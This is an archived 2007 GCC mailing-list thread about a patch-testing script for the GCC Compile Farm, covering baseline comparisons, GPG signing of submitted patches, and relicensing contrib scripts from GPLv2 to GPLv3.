* Re: [CFARM] Script for automatic checking of patches
  2007-07-03  5:16 ` Zdenek Dvorak
@ 2007-07-03 15:54   ` Rask Ingemann Lambertsen
  2007-07-03 16:08     ` Zdenek Dvorak
  0 siblings, 1 reply; 30+ messages in thread
From: Rask Ingemann Lambertsen @ 2007-07-03 15:54 UTC (permalink / raw)
  To: Zdenek Dvorak; +Cc: Sebastian Pop, GCC Patches, Laurent GUERBY

On Tue, Jul 03, 2007 at 07:15:08AM +0200, Zdenek Dvorak wrote:
> Hello,
> 
> > I'm still quite annoyed by the fact that when new fails are inserted
> > in trunk, there is no way to filter out these new fails from the fails
> > due to the tested patch.  One possible solution is to schedule every
> > now and then a bootstrap of a pristine tree to reset the set of
> > passing tests, but this can be done outside the tester.
> 
> what we do in our tester is that we build gcc twice (once without the
> patch, once with) and compare the results.  It doubles the time of the
> testing, but the results are more reliable than with the scheme you
> propose.

   But if you test N patches against the same revision, the time will be
N+1, which is a lot for N=1 but not bad at N=10. The compile farm is fast
enough that you can do so before GCC changes a lot.

-- 
Rask Ingemann Lambertsen

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03 15:54   ` Rask Ingemann Lambertsen
@ 2007-07-03 16:08     ` Zdenek Dvorak
  2007-07-03 16:20       ` Manuel López-Ibáñez
  2007-07-03 19:12       ` Laurent GUERBY
  0 siblings, 2 replies; 30+ messages in thread
From: Zdenek Dvorak @ 2007-07-03 16:08 UTC (permalink / raw)
  To: Rask Ingemann Lambertsen; +Cc: Sebastian Pop, GCC Patches, Laurent GUERBY

Hello,

> > > I'm still quite annoyed by the fact that when new fails are inserted
> > > in trunk, there is no way to filter out these new fails from the fails
> > > due to the tested patch.  One possible solution is to schedule every
> > > now and then a bootstrap of a pristine tree to reset the set of
> > > passing tests, but this can be done outside the tester.
> > 
> > what we do in our tester is that we build gcc twice (once without the
> > patch, once with) and compare the results.  It doubles the time of the
> > testing, but the results are more reliable than with the scheme you
> > propose.
> 
>    But if you test N patches against the same revision, the time will be
> N+1, which is a lot for N=1 but not bad at N=10. The compile farm is fast
> enough that you can do so before GCC changes a lot.

except that in many cases you want to prescribe a different revision
-- if you are testing a patch for branch
-- if you want to be sure that the change is correct with the most
   current sources

Zdenek

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03 16:08     ` Zdenek Dvorak
@ 2007-07-03 16:20       ` Manuel López-Ibáñez
  2007-07-03 19:12       ` Laurent GUERBY
  1 sibling, 0 replies; 30+ messages in thread
From: Manuel López-Ibáñez @ 2007-07-03 16:20 UTC (permalink / raw)
  To: Zdenek Dvorak
  Cc: Rask Ingemann Lambertsen, Sebastian Pop, GCC Patches, Laurent GUERBY

On 03/07/07, Zdenek Dvorak <rakdver@kam.mff.cuni.cz> wrote:
> Hello,
>
> > > > I'm still quite annoyed by the fact that when new fails are inserted
> > > > in trunk, there is no way to filter out these new fails from the fails
> > > > due to the tested patch.  One possible solution is to schedule every
> > > > now and then a bootstrap of a pristine tree to reset the set of
> > > > passing tests, but this can be done outside the tester.
> > >
> > > what we do in our tester is that we build gcc twice (once without the
> > > patch, once with) and compare the results.  It doubles the time of the
> > > testing, but the results are more reliable than with the scheme you
> > > propose.
> >
> >    But if you test N patches against the same revision, the time will be
> > N+1, which is a lot for N=1 but not bad at N=10. The compile farm is fast
> > enough that you can do so before GCC changes a lot.
>
> except that in many cases you want to prescribe a different revision
> -- if you are testing a patch for branch
> -- if you want to be sure that the change is correct with the most
>    current sources

If you are testing a patch for a branch the whole issue is more
complicated, since you need a specific svn switch command. (the script
could take also a "branch: BRANCH" tag that is passed to "svn switch
svn://gcc.gnu.org/svn/branches/BRANCH")

Putting aside that special case, one possible approach is to have a
computer just doing svn up && bootstrap + full check of pristine
trunk, then saving the results according to the revision (a bunch of
sum and log files, one could gzip them if needed at all). Then, the
patch testing script will look which is the latest (successful)
bootstrap+fullcheck available, svn up to that revision, bootstrap+test
the patch and compare with the pristine results. This will have the
additional benefit that if bootstrap is broken in mainline, the patch
testing script will not jump to the broken revision.

This could even be done in a single computer, in parallel if there is
enough memory, or every X number of patches (or patch testing queue is
empty).

Anyway, testing twice (with and without the patch) is just the easiest
and simplest way. It could be improved incrementally if the system is
actually so much used that the queue of patches is continually
increasing. I think the real question at this moment is: what are the
minimum requirements to make the script interesting to (sporadic and
long-time) contributors?

Cheers,

Manuel.

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-03 10:38     ` Dave Korn
  2007-07-03 12:07       ` Sebastian Pop
@ 2007-07-03 19:02       ` Laurent GUERBY
  2007-07-03 22:21         ` Dave Korn
  1 sibling, 1 reply; 30+ messages in thread
From: Laurent GUERBY @ 2007-07-03 19:02 UTC (permalink / raw)
  To: Dave Korn; +Cc: 'Sebastian Pop', 'GCC Patches'

On Tue, 2007-07-03 at 10:24 +0100, Dave Korn wrote:
> > Okay, so why do you still trust commits to gcc trunk?  Do you check
> > all the patches that go in during a 'svn up' before doing a bootstrap
> > of the new tree?
> 
>   To the extent that they've been visually inspected as part of the review
> process, and are accountable to known identities with an established history
> when committed, yes.

I'm not familiar with gpg, but if the script checks by default for a
valid signature of the patch file (either from the user keyring or from
a directory to be populated with keys) I guess it's more acceptable for
distribution? We can always provide a --no-check-signature to disable
it.

With signed patch, we could probably accept them with an automated
system on the compile farm (email and web form), do people have
experience with such a setup?

Laurent

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03 16:08     ` Zdenek Dvorak
  2007-07-03 16:20       ` Manuel López-Ibáñez
@ 2007-07-03 19:12       ` Laurent GUERBY
  1 sibling, 0 replies; 30+ messages in thread
From: Laurent GUERBY @ 2007-07-03 19:12 UTC (permalink / raw)
  To: Zdenek Dvorak; +Cc: Rask Ingemann Lambertsen, Sebastian Pop, GCC Patches

On Tue, 2007-07-03 at 17:45 +0200, Zdenek Dvorak wrote:
> except that in many cases you want to prescribe a different revision
> -- if you are testing a patch for branch
> -- if you want to be sure that the change is correct with the most
>    current sources

From 2006 to now on average each calendar day trunk has 16.2 commits,
90% percentile is 26 commits and 99% percentile is 46 commits (5 days
have more than 50 commits, max is 146 on 20070606).

The compile farm has enough power to follow individual trunk commits
(if we restrict languages) and now enough disk to store baseline
test results. May be some branches can be followed too.

On the farm it makes sense to run a script that loops to build the
baseline results and then have the patch tester use the latest
available baseline. build directories can be kept for a while,
install directories for a while longer and we can probably keep
baseline test results forever. 

As long as only one of such script run for all farm users
it will be fine :).

Laurent

PS: 2x500GB disks will be installed this week-end on farm machines gcc12
and gcc13, bringing total farm disk space at over 1.5 TB. If needed
we'll update the 3x80 GB system disks to bigger disks so it's
easy to double to 3TB or more.

^ permalink raw reply	[flat|nested] 30+ messages in thread

* RE: [CFARM] Script for automatic checking of patches
  2007-07-03 19:02       ` Laurent GUERBY
@ 2007-07-03 22:21         ` Dave Korn
  2007-07-05 13:54           ` Sebastian Pop
  0 siblings, 1 reply; 30+ messages in thread
From: Dave Korn @ 2007-07-03 22:21 UTC (permalink / raw)
  To: laurent; +Cc: 'Sebastian Pop', 'GCC Patches'

On 03 July 2007 19:34, Laurent GUERBY wrote:

> On Tue, 2007-07-03 at 10:24 +0100, Dave Korn wrote:
>>> Okay, so why do you still trust commits to gcc trunk?  Do you check
>>> all the patches that go in during a 'svn up' before doing a bootstrap
>>> of the new tree?
>> 
>>   To the extent that they've been visually inspected as part of the review
>> process, and are accountable to known identities with an established
>> history when committed, yes.
> 
> I'm not familiar with gpg, but if the script checks by default for a
> valid signature of the patch file (either from the user keyring or from
> a directory to be populated with keys) I guess it's more acceptable for
> distribution? We can always provide a --no-check-signature to disable
> it.

  That's a good idea.  It could be as simple as adding a clause like


    if ! gpg -verify $TESTING/$PATCH ; then
	echo "$SCRIPT: your patch failed to verify:" >> $REPORT
	cat $TESTING/patching >> $REPORT
	return 1
    fi

to the setup function.

    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [CFARM] Script for automatic checking of patches
  2007-07-03 22:21         ` Dave Korn
@ 2007-07-05 13:54           ` Sebastian Pop
  2007-07-15  9:48             ` [PATCH][PING] " Laurent GUERBY
  0 siblings, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-07-05 13:54 UTC (permalink / raw)
  To: Dave Korn; +Cc: laurent, GCC Patches

[-- Attachment #1: Type: text/plain, Size: 738 bytes --]

Hi,

Here is a new version of the script that includes all the suggestions
from the current thread.

I must say that I'm quite unhappy with the output from compare_tests
as it is much too verbose with respect to the simpler result from
regression/btest-gcc.sh that reports the number of regressions and
fails, instead of printing too many useless comments and sometimes
inaccurate comparisons.  So I ended by keeping my adaptation of the
code from regression/btest-gcc.sh and I'm also calling compare_tests.

I've also written a script for preparing a patch for the patch tester
from a gcc tree.  Further comments and suggestions are welcome.  If no
comments, okay for trunk after some more testing on gcc's compile farm
;-) ?

Sebastian

[-- Attachment #2: patch_tester.sh --]
[-- Type: application/x-sh, Size: 7866 bytes --]

[-- Attachment #3: prepare_patch.sh --]
[-- Type: application/x-sh, Size: 1983 bytes --]

^ permalink raw reply	[flat|nested] 30+ messages in thread

* [PATCH][PING] Script for automatic checking of patches
  2007-07-05 13:54           ` Sebastian Pop
@ 2007-07-15  9:48             ` Laurent GUERBY
  2007-07-15 17:39               ` Sebastian Pop
  0 siblings, 1 reply; 30+ messages in thread
From: Laurent GUERBY @ 2007-07-15  9:48 UTC (permalink / raw)
  To: GCC Patches; +Cc: Dave Korn, Sebastian Pop

http://gcc.gnu.org/ml/gcc-patches/2007-07/msg00439.html

Laurent

On Thu, 2007-07-05 at 15:31 +0200, Sebastian Pop wrote:
> Hi,
> 
> Here is a new version of the script that includes all the suggestions
> from the current thread.
> 
> I must say that I'm quite unhappy with the output from compare_tests
> as it is much too verbose with respect to the simpler result from
> regression/btest-gcc.sh that reports the number of regressions and
> fails, instead of printing too many useless comments and sometimes
> inaccurate comparisons.  So I ended by keeping my adaptation of the
> code from regression/btest-gcc.sh and I'm also calling compare_tests.
> 
> I've also written a script for preparing a patch for the patch tester
> from a gcc tree.  Further comments and suggestions are welcome.  If no
> comments, okay for trunk after some more testing on gcc's compile farm
> ;-) ?
> 
> Sebastian

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-07-15  9:48             ` [PATCH][PING] " Laurent GUERBY
@ 2007-07-15 17:39               ` Sebastian Pop
  2007-12-15 22:41                 ` Sebastian Pop
  0 siblings, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-07-15 17:39 UTC (permalink / raw)
  To: laurent; +Cc: GCC Patches, Dave Korn

[-- Attachment #1: Type: text/plain, Size: 982 bytes --]

On 7/15/07, Laurent GUERBY <laurent@guerby.net> wrote:
> http://gcc.gnu.org/ml/gcc-patches/2007-07/msg00439.html
>

Attached the updated scripts: the tester that now runs on GCC Compile
Farm, with a fix proposed by Laurent, and the script that helps
preparing the header for the patch to be tested.

I've also updated http://gcc.gnu.org/wiki/CompileFarm for pointing the
users of the GCC Compile Farm to the existence of this service:

"If you have a GCC Compile Farm account, you can automatically test
your GCC patches by copying them to /n/13/spop/patches/ that has the
correct rights set. The patch can contain several markers that
instruct the tester where to send the results by email, what branch
and revision of GCC to use, and the configure and make flags. One can
use the prepare_patch.sh script for filling up all this optional
information, and for selecting the defaults for each case. The last
step before copying the patch to the tester is to gpg sign it."

Sebastian

[-- Attachment #2: patch_tester.sh --]
[-- Type: application/x-sh, Size: 9558 bytes --]

[-- Attachment #3: prepare_patch.sh --]
[-- Type: application/x-sh, Size: 2314 bytes --]

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-07-15 17:39               ` Sebastian Pop
@ 2007-12-15 22:41                 ` Sebastian Pop
  2007-12-15 23:18                   ` Andrew Pinski
  2007-12-20 15:14                   ` Diego Novillo
  0 siblings, 2 replies; 30+ messages in thread
From: Sebastian Pop @ 2007-12-15 22:41 UTC (permalink / raw)
  To: GCC Patches; +Cc: Laurent GUERBY, geoffk

[-- Attachment #1: Type: text/plain, Size: 1192 bytes --]

Hi,

One more update and ping for including in trunk the scripts for
automatic regstrap of GCC patches.

Sebastian

On 7/15/07, Sebastian Pop <sebpop@gmail.com> wrote:
> On 7/15/07, Laurent GUERBY <laurent@guerby.net> wrote:
> > http://gcc.gnu.org/ml/gcc-patches/2007-07/msg00439.html
> >
>
> Attached the updated scripts: the tester that now runs on GCC Compile
> Farm, with a fix proposed by Laurent, and the script that helps
> preparing the header for the patch to be tested.
>
> I've also updated http://gcc.gnu.org/wiki/CompileFarm for pointing the
> users of the GCC Compile Farm to the existence of this service:
>
> "If you have a GCC Compile Farm account, you can automatically test
> your GCC patches by copying them to /n/13/spop/patches/ that has the
> correct rights set. The patch can contain several markers that
> instruct the tester where to send the results by email, what branch
> and revision of GCC to use, and the configure and make flags. One can
> use the prepare_patch.sh script for filling up all this optional
> information, and for selecting the defaults for each case. The last
> step before copying the patch to the tester is to gpg sign it."
>
> Sebastian
>
>

[-- Attachment #2: patch_tester.sh --]
[-- Type: application/x-sh, Size: 11714 bytes --]

[-- Attachment #3: prepare_patch.sh --]
[-- Type: application/x-sh, Size: 2552 bytes --]

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-15 22:41                 ` Sebastian Pop
@ 2007-12-15 23:18                   ` Andrew Pinski
  2007-12-15 23:58                     ` Sebastian Pop
  2007-12-20 15:14                   ` Diego Novillo
  1 sibling, 1 reply; 30+ messages in thread
From: Andrew Pinski @ 2007-12-15 23:18 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: GCC Patches, Laurent GUERBY, geoffk

On 12/15/07, Sebastian Pop <sebpop@gmail.com> wrote:
> One more update and ping for including in trunk the scripts for
> automatic regstrap of GCC patches.

I think contrib for new files is a free for all meaning you can
contribute them without approval.

Thanks,
Andrew Pinski

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-15 23:18                   ` Andrew Pinski
@ 2007-12-15 23:58                     ` Sebastian Pop
  0 siblings, 0 replies; 30+ messages in thread
From: Sebastian Pop @ 2007-12-15 23:58 UTC (permalink / raw)
  To: Andrew Pinski; +Cc: GCC Patches, Laurent GUERBY, geoffk

On Dec 15, 2007 5:13 PM, Andrew Pinski <pinskia@gmail.com> wrote:
> I think contrib for new files is a free for all meaning you can
> contribute them without approval.
>

Okay, thanks for the info.  I'll commit these scripts then.

Sebastian
-- 
AMD - GNU Tools

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-15 22:41                 ` Sebastian Pop
  2007-12-15 23:18                   ` Andrew Pinski
@ 2007-12-20 15:14                   ` Diego Novillo
  2007-12-20 16:41                     ` Sebastian Pop
  1 sibling, 1 reply; 30+ messages in thread
From: Diego Novillo @ 2007-12-20 15:14 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: GCC Patches, Laurent GUERBY, geoffk

On 12/15/07 17:07, Sebastian Pop wrote:

> One more update and ping for including in trunk the scripts for
> automatic regstrap of GCC patches.

Scripts in contrib/ can be added without approval.  They just have to 
comply with copyright assignment, GPL and be generally related to GCC, 
of course.


Diego.

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-20 15:14                   ` Diego Novillo
@ 2007-12-20 16:41                     ` Sebastian Pop
  2007-12-20 16:46                       ` Diego Novillo
  0 siblings, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-12-20 16:41 UTC (permalink / raw)
  To: Diego Novillo; +Cc: GCC Patches, Laurent GUERBY, geoffk

On Dec 20, 2007 8:39 AM, Diego Novillo <dnovillo@google.com> wrote:
> Scripts in contrib/ can be added without approval.  They just have to
> comply with copyright assignment, GPL and be generally related to GCC,
> of course.
>

Just a question for which I cannot find the answer.
Looking at the scripts in contrib/ some of them are under
GPL v3 and others are under GPL v2.  Which one is preferred?
Are these scripts also covered by the transition of GCC to v3
and should they automatically be converted to v3?

Sebastian
-- 
AMD - GNU Tools

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-20 16:41                     ` Sebastian Pop
@ 2007-12-20 16:46                       ` Diego Novillo
  2007-12-26 18:48                         ` Mark Mitchell
  0 siblings, 1 reply; 30+ messages in thread
From: Diego Novillo @ 2007-12-20 16:46 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: GCC Patches, Laurent GUERBY, geoffk

On 12/20/07 11:32, Sebastian Pop wrote:

> Just a question for which I cannot find the answer.
> Looking at the scripts in contrib/ some of them are under
> GPL v3 and others are under GPL v2.  Which one is preferred?
> Are these scripts also covered by the transition of GCC to v3
> and should they automatically be converted to v3?

No clue.  I would presume we prefer v3, but that's a question for the FSF.

I'm sure someone in the SC could give us a better answer.


Diego.

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-20 16:46                       ` Diego Novillo
@ 2007-12-26 18:48                         ` Mark Mitchell
  2007-12-26 21:16                           ` Sebastian Pop
  0 siblings, 1 reply; 30+ messages in thread
From: Mark Mitchell @ 2007-12-26 18:48 UTC (permalink / raw)
  To: Diego Novillo; +Cc: Sebastian Pop, GCC Patches, Laurent GUERBY, geoffk

Diego Novillo wrote:
> On 12/20/07 11:32, Sebastian Pop wrote:
> 
>> Just a question for which I cannot find the answer.
>> Looking at the scripts in contrib/ some of them are under
>> GPL v3 and others are under GPL v2.  Which one is preferred?
>> Are these scripts also covered by the transition of GCC to v3
>> and should they automatically be converted to v3?
> 
> No clue.  I would presume we prefer v3, but that's a question for the FSF.
> 
> I'm sure someone in the SC could give us a better answer.

As per all other FSF submissions to GCC, new scripts should be "GPLv3 or
later".  As for existing scripts, if they say "v2 or later" they should
be upgraded to "v3 or later".  If they just say "v2", we should probably
just leave them alone.  If we're sufficiently motivated, we could ask
the FSF what to do -- but that's probably overkill for a few shell
scripts that aren't part of GCC itself.

-- 
Mark Mitchell
CodeSourcery
mark@codesourcery.com
(650) 331-3385 x713

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-26 18:48                         ` Mark Mitchell
@ 2007-12-26 21:16                           ` Sebastian Pop
  2007-12-26 21:57                             ` Mark Mitchell
  0 siblings, 1 reply; 30+ messages in thread
From: Sebastian Pop @ 2007-12-26 21:16 UTC (permalink / raw)
  To: Mark Mitchell; +Cc: Diego Novillo, GCC Patches, Laurent GUERBY, geoffk

[-- Attachment #1: Type: text/plain, Size: 505 bytes --]

> As per all other FSF submissions to GCC, new scripts should be "GPLv3 or
> later".  As for existing scripts, if they say "v2 or later" they should
> be upgraded to "v3 or later".  If they just say "v2", we should probably
> just leave them alone.  If we're sufficiently motivated, we could ask
> the FSF what to do -- but that's probably overkill for a few shell
> scripts that aren't part of GCC itself.

Attached is a patch that changes all the GPLv2 or later to GPLv3.

-- 
Sebastian
AMD - GNU Tools

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: 870_contrib_v3.diff --]
[-- Type: text/x-diff; name=870_contrib_v3.diff, Size: 4513 bytes --]

	* compareSumTests3: Changed to GPLv3.
	* prepare_patch.sh: Same.
	* uninclude: Same.
	* dglib.pm: Same.
	* gennews: Same.
	* texi2pod.pl: Same.
	* analyze_brprob: Same.
	* gcc_build: Same.

Index: compareSumTests3
===================================================================
--- compareSumTests3	(revision 131184)
+++ compareSumTests3	(working copy)
@@ -11,7 +11,7 @@
 #
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 #
 # GCC is distributed in the hope that it will be useful,
Index: prepare_patch.sh
===================================================================
--- prepare_patch.sh	(revision 131184)
+++ prepare_patch.sh	(working copy)
@@ -7,7 +7,7 @@
 
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
+# the Free Software Foundation; either version 3 of the License, or
 # (at your option) any later version.
 
 # This program is distributed in the hope that it will be useful,
Index: uninclude
===================================================================
--- uninclude	(revision 131184)
+++ uninclude	(working copy)
@@ -5,7 +5,7 @@
 
 # This gawk/shell script is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as published
-# by the Free Software Foundation; either version 2, or (at your option)
+# by the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 
 # Given a preprocessed C/C++ code snippet, this script will replace any
Index: dglib.pm
===================================================================
--- dglib.pm	(revision 131184)
+++ dglib.pm	(working copy)
@@ -16,7 +16,7 @@
 #
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 #
 # GCC is distributed in the hope that it will be useful,
Index: gennews
===================================================================
--- gennews	(revision 131184)
+++ gennews	(working copy)
@@ -8,7 +8,7 @@
 #
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 #
 # GCC is distributed in the hope that it will be useful,
Index: texi2pod.pl
===================================================================
--- texi2pod.pl	(revision 131184)
+++ texi2pod.pl	(working copy)
@@ -6,7 +6,7 @@
 
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 
 # GCC is distributed in the hope that it will be useful,
Index: analyze_brprob
===================================================================
--- analyze_brprob	(revision 131184)
+++ analyze_brprob	(working copy)
@@ -7,7 +7,7 @@
 #
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 #
 # GCC is distributed in the hope that it will be useful,
Index: gcc_build
===================================================================
--- gcc_build	(revision 131184)
+++ gcc_build	(working copy)
@@ -17,7 +17,7 @@
 #
 # GCC is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
+# the Free Software Foundation; either version 3, or (at your option)
 # any later version.
 #
 # GCC is distributed in the hope that it will be useful,

^ permalink raw reply	[flat|nested] 30+ messages in thread

* Re: [PATCH][PING] Script for automatic checking of patches
  2007-12-26 21:16                           ` Sebastian Pop
@ 2007-12-26 21:57                             ` Mark Mitchell
  0 siblings, 0 replies; 30+ messages in thread
From: Mark Mitchell @ 2007-12-26 21:57 UTC (permalink / raw)
  To: Sebastian Pop; +Cc: Diego Novillo, GCC Patches, Laurent GUERBY, geoffk

Sebastian Pop wrote:
>> As per all other FSF submissions to GCC, new scripts should be "GPLv3 or
>> later".  As for existing scripts, if they say "v2 or later" they should
>> be upgraded to "v3 or later".  If they just say "v2", we should probably
>> just leave them alone.  If we're sufficiently motivated, we could ask
>> the FSF what to do -- but that's probably overkill for a few shell
>> scripts that aren't part of GCC itself.
> 
> Attached is a patch that changes all the GPLv2 or later to GPLv3.

OK, thanks.

-- 
Mark Mitchell
CodeSourcery
mark@codesourcery.com
(650) 331-3385 x713

^ permalink raw reply	[flat|nested] 30+ messages in thread

end of thread, other threads:[~2007-12-26 21:16 UTC | newest]

Thread overview: 30+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2007-07-02 22:43 [CFARM] Script for automatic checking of patches Sebastian Pop
2007-07-03  0:01 ` Dave Korn
2007-07-03  8:45   ` Sebastian Pop
2007-07-03 10:38     ` Dave Korn
2007-07-03 12:07       ` Sebastian Pop
2007-07-03 12:10         ` Dave Korn
2007-07-03 19:02       ` Laurent GUERBY
2007-07-03 22:21         ` Dave Korn
2007-07-05 13:54           ` Sebastian Pop
2007-07-15  9:48             ` [PATCH][PING] " Laurent GUERBY
2007-07-15 17:39               ` Sebastian Pop
2007-12-15 22:41                 ` Sebastian Pop
2007-12-15 23:18                   ` Andrew Pinski
2007-12-15 23:58                     ` Sebastian Pop
2007-12-20 15:14                   ` Diego Novillo
2007-12-20 16:41                     ` Sebastian Pop
2007-12-20 16:46                       ` Diego Novillo
2007-12-26 18:48                         ` Mark Mitchell
2007-12-26 21:16                           ` Sebastian Pop
2007-12-26 21:57                             ` Mark Mitchell
2007-07-03  8:58   ` [CFARM] " Andreas Schwab
2007-07-03  0:24 ` Manuel López-Ibáñez
2007-07-03  1:33   ` Dave Korn
2007-07-03  8:56   ` Sebastian Pop
2007-07-03 11:29     ` Laurent GUERBY
2007-07-03  5:16 ` Zdenek Dvorak
2007-07-03 15:54   ` Rask Ingemann Lambertsen
2007-07-03 16:08     ` Zdenek Dvorak
2007-07-03 16:20       ` Manuel López-Ibáñez
2007-07-03 19:12       ` Laurent GUERBY

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).